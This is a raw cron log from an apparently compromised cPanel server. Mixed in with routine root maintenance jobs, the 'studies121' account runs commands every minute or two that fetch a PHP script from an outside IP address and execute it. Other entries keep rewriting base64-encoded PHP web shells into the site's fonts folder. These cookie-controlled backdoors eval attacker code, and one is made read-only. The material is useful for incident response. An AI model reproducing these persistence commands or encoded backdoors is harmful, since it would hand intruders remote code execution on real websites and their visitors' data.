Sep  1 22:44:01 ip-184-168-122-23 CROND[2885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:44:01 ip-184-168-122-23 CROND[2887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:44:01 ip-184-168-122-23 CROND[2886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:45:01 ip-184-168-122-23 CROND[3071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:45:01 ip-184-168-122-23 CROND[3074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:45:01 ip-184-168-122-23 CROND[3073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:45:01 ip-184-168-122-23 CROND[3077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:45:01 ip-184-168-122-23 CROND[3078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:45:01 ip-184-168-122-23 CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:46:01 ip-184-168-122-23 CROND[3174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:46:01 ip-184-168-122-23 CROND[3176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:46:01 ip-184-168-122-23 CROND[3177]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 22:46:01 ip-184-168-122-23 CROND[3178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:46:01 ip-184-168-122-23 CROND[3179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:46:01 ip-184-168-122-23 CROND[3180]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:46:01 ip-184-168-122-23 CROND[3181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:47:01 ip-184-168-122-23 CROND[3273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:47:01 ip-184-168-122-23 CROND[3275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:47:01 ip-184-168-122-23 CROND[3277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:47:01 ip-184-168-122-23 CROND[3276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:48:01 ip-184-168-122-23 CROND[3356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:48:01 ip-184-168-122-23 CROND[3358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:48:01 ip-184-168-122-23 CROND[3357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:48:01 ip-184-168-122-23 CROND[3359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:48:01 ip-184-168-122-23 CROND[3360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:49:01 ip-184-168-122-23 CROND[3450]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 22:49:01 ip-184-168-122-23 CROND[3451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:49:01 ip-184-168-122-23 CROND[3452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:49:01 ip-184-168-122-23 CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:49:01 ip-184-168-122-23 CROND[3454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:50:01 ip-184-168-122-23 CROND[3643]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:50:01 ip-184-168-122-23 CROND[3647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3649]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:50:01 ip-184-168-122-23 CROND[3651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:51:01 ip-184-168-122-23 CROND[3753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:51:01 ip-184-168-122-23 CROND[3756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:51:01 ip-184-168-122-23 CROND[3755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:51:01 ip-184-168-122-23 CROND[3754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:52:01 ip-184-168-122-23 CROND[4236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:52:01 ip-184-168-122-23 CROND[4238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:52:01 ip-184-168-122-23 CROND[4239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:52:01 ip-184-168-122-23 CROND[4241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:52:01 ip-184-168-122-23 CROND[4240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:53:01 ip-184-168-122-23 CROND[4328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:53:01 ip-184-168-122-23 CROND[4330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:53:01 ip-184-168-122-23 CROND[4331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:53:01 ip-184-168-122-23 CROND[4332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:54:01 ip-184-168-122-23 CROND[4412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:54:01 ip-184-168-122-23 CROND[4414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:54:01 ip-184-168-122-23 CROND[4416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:54:01 ip-184-168-122-23 CROND[4417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:54:01 ip-184-168-122-23 CROND[4418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:55:01 ip-184-168-122-23 CROND[4593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:55:01 ip-184-168-122-23 CROND[4595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:55:01 ip-184-168-122-23 CROND[4596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:55:01 ip-184-168-122-23 CROND[4599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:55:01 ip-184-168-122-23 CROND[4597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:55:01 ip-184-168-122-23 CROND[4598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:56:01 ip-184-168-122-23 CROND[4687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:56:01 ip-184-168-122-23 CROND[4689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:56:02 ip-184-168-122-23 CROND[4692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
